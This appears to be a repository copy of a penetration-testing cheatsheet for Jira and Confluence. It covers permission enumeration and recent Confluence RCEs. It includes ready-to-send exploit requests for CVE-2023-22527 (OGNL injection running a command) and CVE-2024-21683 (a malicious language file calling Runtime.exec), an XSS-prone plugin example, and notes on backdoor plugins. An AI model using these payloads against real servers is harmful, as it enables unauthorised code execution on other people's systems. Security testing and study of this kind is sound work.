repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
jira.mdMarkdown181 lines9.1 KiBsource raw download

title: "Jira & Confluence" section: "Network Services" sectionSlug: "network-services-pentesting" sourcePath: "src/network-services-pentesting/pentesting-web/jira.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/jira.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

Jira & Confluence#

Check Privileges#

In Jira, privileges can be checked by any user, authenticated or not, through the endpoints /rest/api/2/mypermissions or /rest/api/3/mypermissions. These endpoints reveal the user's current privileges. A notable concern arises when non-authenticated users hold privileges, indicating a security vulnerability that could potentially be eligible for a bounty. Similarly, unexpected privileges for authenticated users also highlight a vulnerability.

An important update was made on 1st February 2019, requiring the 'mypermissions' endpoint to include a 'permission' parameter. This requirement aims to enhance security by specifying the privileges being queried: check it here[3]

Example: https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS

#Check non-authenticated privileges
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'

Automated enumeration#

Recent RCEs & practical exploit notes (Confluence)#

CVE-2023-22527 – unauthenticated template/OGNL injection (10.0)#

curl -k -X POST "https://confluence.target.com/template/aui/text-inline.vm" \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'label=aaa%27%2b#request.get("KEY_velocity.struts2.context").internalGet("ognl").findValue(#parameters.poc[0],{})%2b%27&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader("x-cmd",(new+freemarker.template.utility.Execute()).exec({"id"}))'

CVE-2023-22515 – setup reactivation admin creation (auth bypass)#

CVE-2024-21683 – authenticated RCE via Code Macro upload#

<?xml version="1.0"?>
<languages>
  <language key="pwn" name="pwn" namespace="java.lang">
    <tokens>
      <token scope="normal">${"".getClass().forName("java.lang.Runtime").getRuntime().exec("id")}</token>
    </tokens>
  </language>
</languages>

Atlassian Plugins#

As indicated in this blog[4], in the documentation about Plugin modules ↗ it's possible to check the different types of plugins, like:

This is an example of the macro plugin type:

Macro plugin example
package com.atlassian.tutorial.macro;

import com.atlassian.confluence.content.render.xhtml.ConversionContext;
import com.atlassian.confluence.macro.Macro;
import com.atlassian.confluence.macro.MacroExecutionException;

import java.util.Map;

public class helloworld implements Macro {

    public String execute(Map<String, String> map, String body, ConversionContext conversionContext) throws MacroExecutionException {
        if (map.get("Name") != null) {
            return ("<h1>Hello " + map.get("Name") + "!</h1>");
        } else {
            return "<h1>Hello World!<h1>";
        }
    }

    public BodyType getBodyType() { return BodyType.NONE; }

    public OutputType getOutputType() { return OutputType.BLOCK; }
}

It's possible to observe that these plugins might be vulnerable to common web vulnerabilities like XSS. For example the previous example is vulnerable because it's reflecting data given by the user.

Once a XSS is found, in this github repo you can find some payloads to increase the impact of the XSS.

Backdoor Plugin#

This post describes different (malicious) actions that could perform a malicious Jira plugin.[5] You can find code example in this repo.

These are some of the actions a malicious plugin could perform:

References#